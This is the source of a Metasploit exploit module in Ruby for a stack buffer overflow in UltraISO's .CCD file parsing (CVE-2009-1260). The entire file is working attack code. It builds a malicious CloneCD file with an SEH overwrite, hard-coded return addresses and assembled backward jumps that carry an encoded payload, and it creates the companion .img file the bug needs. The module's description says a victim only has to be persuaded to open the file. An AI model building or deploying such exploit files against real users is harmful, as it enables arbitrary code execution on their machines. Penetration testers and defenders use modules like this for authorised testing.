219 lines
6.7 KiB
Ruby
219 lines
6.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UltraISO CCD File Parsing Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in EZB Systems, Inc's
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UltraISO. When processing .CCD files, data is read from file into a
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fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
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can occur. Attackers can execute arbitrary code by convincing their victim
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to open an CCD file.
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NOTE: A file with the same base name, but the extension of "img" must also
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exist. Opening either file will trigger the vulnerability, but the files must
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both exist.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'References' =>
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[
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[ 'CVE', '2009-1260' ],
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[ 'OSVDB', '53275' ],
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[ 'BID', '34363' ],
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# NOTE: The following BID is a duplicate of BID 34363
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[ 'BID', '38613' ],
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# NOTE: The following OSVDB entry seems invalid, the IMG file doesn't appear to trigger any vulnerability.
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# [ 'OS-VDB', '53425' ],
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[ 'EDB', '8343' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00\x08\x0a\x0d\x20",
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'DisableNops' => true,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested OK on:
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# v9.3.3.2685
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# v9.3.6.2750
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# The EXE base addr contains a bad char (nul). This prevents us from
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# using the super-elite multi-offset SEH exploitation method.
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[ 'Windows Universal - Double-Click/Command Line Open Method',
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{
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'Offset' => 4094,
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# NOTE: lame_enc.dll isn't loaded when opening via double-click / cmd line.
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#'Ret' => 0x10011640 # p/p/r in lame_enc.dll
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# To make matters even worse, we can't use system dlls due to Safe SEH!
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#'Ret' => 0x71b26b7e # p/p/r in mpr.dll
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'Ret' => 0x00403856 # p/p/r in unpacked UltraISO.exe (from public exploit)
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}
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],
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[ 'Windows Universal - File->Open + Toolbar Open Methods',
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{
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'Offset' => [ 5066, 5158 ],
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'Ret' => 0x10011640 # p/p/r in lame_enc.dll
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 03 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.ccd']),
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])
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end
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def exploit
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print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")
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sploit = "[CloneCD]\r\n"
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sploit << "Version=3\r\n"
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sploit << "[Disc]\r\n"
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sploit << "TocEntries=4\r\n"
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sploit << "Sessions=1\r\n"
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sploit << "DataTracksScrambled=0\r\n"
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sploit << "CDTextLength=0\r\n"
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sploit << "[Session 1]\r\n"
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sploit << "PreGapMode=1\r\n"
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sploit << "PreGapSubC=0\r\n"
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sploit << "[Entry 0]\r\n"
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sploit << "Session=1\r\n"
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sploit << "Point=0xa0\r\n"
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sploit << "ADR=0x01\r\n"
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sploit << "Control=0x04\r\n"
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sploit << "TrackNo=0\r\n"
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sploit << "AMin=0\r\n"
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sploit << "ASec=0\r\n"
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sploit << "AFrame=0\r\n"
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sploit << "ALBA=-150\r\n"
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sploit << "Zero=0\r\n"
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sploit << "PMin=1\r\n"
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sploit << "PSec=0\r\n"
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sploit << "PFrame=0\r\n"
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sploit << "PLBA=4350\r\n"
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sploit << "[Entry 1]\r\n"
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sploit << "Session=1\r\n"
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sploit << "Point=0xa1\r\n"
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sploit << "ADR=0x01\r\n"
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sploit << "Control=0x04\r\n"
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sploit << "TrackNo=0\r\n"
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sploit << "AMin=0\r\n"
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sploit << "ASec=0\r\n"
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sploit << "AFrame=0\r\n"
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sploit << "ALBA=-150\r\n"
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sploit << "Zero=0\r\n"
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sploit << "PMin=1\r\n"
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sploit << "PSec=0\r\n"
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sploit << "PFrame=0\r\n"
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sploit << "PLBA=4350\r\n"
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sploit << "[Entry 2]\r\n"
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sploit << "Session=1\r\n"
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sploit << "Point=0xa2\r\n"
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sploit << "ADR=0x01\r\n"
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sploit << "Control=0x04\r\n"
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sploit << "TrackNo=0\r\n"
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sploit << "AMin=0\r\n"
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sploit << "ASec=0\r\n"
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sploit << "AFrame=0\r\n"
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sploit << "ALBA=-150\r\n"
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sploit << "Zero=0\r\n"
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sploit << "PMin=0\r\n"
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sploit << "PSec=2\r\n"
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sploit << "PFrame=34\r\n"
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sploit << "PLBA=34\r\n"
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sploit << "[Entry 3]\r\n"
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sploit << "Session=1\r\n"
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sploit << "Point=0x01\r\n"
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sploit << "ADR=0x01\r\n"
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sploit << "Control=0x04\r\n"
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sploit << "TrackNo=0\r\n"
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sploit << "AMin=0\r\n"
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sploit << "ASec=0\r\n"
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sploit << "AFrame=0\r\n"
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sploit << "ALBA=-150\r\n"
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sploit << "Zero=0\r\n"
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sploit << "PMin=0\r\n"
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sploit << "PSec=2\r\n"
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sploit << "PFrame=0\r\n"
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sploit << "PLBA=0\r\n"
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sploit << "[TRACK 1]\r\n"
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sploit << "MODE=1\r\n"
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sploit << "INDEX 1="
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idx_line = ''
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idx_line << rand_text_alphanumeric(1000) * 9
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# Stick the payload at the beginning
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idx_line[0,payload.encoded.length] = payload.encoded
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# If we have an array of offets, handle it specially
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seh_offset = target['Offset']
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if (seh_offset.is_a?(::Array))
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# Multiple offets that can be used simultaneously
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seh_offset.each { |off|
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seh = generate_seh_record(target.ret)
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distance = off + seh.length
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jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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idx_line[off, seh.length] = seh
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idx_line[off+seh.length, jmp.length] = jmp
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}
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else
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off = seh_offset
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# We'll manually construct this double-backward jumping SEH handler frame
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distance = off - 5
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jmp1 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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distance = jmp1.length
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jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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seh = ''
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seh << jmp2
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seh << rand_text(2)
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seh << [target.ret].pack('V')
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# we can't put anything below the return address due to a potential nul byte in it
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# Add the double-back-jumping SEH frame
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idx_line[off-5, jmp1.length] = jmp1
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idx_line[off,seh.length] = seh
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end
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sploit << idx_line
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file_create(sploit)
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# This extends the current class, and changes the file_format_name.
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# This allows us to use the file_create(data) to store the created
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# file in the correct directory.
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class << self
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def file_format_filename
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datastore['FILENAME'].gsub(/\.ccd$/, '.img')
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end
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end
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file_create('')
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end
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end
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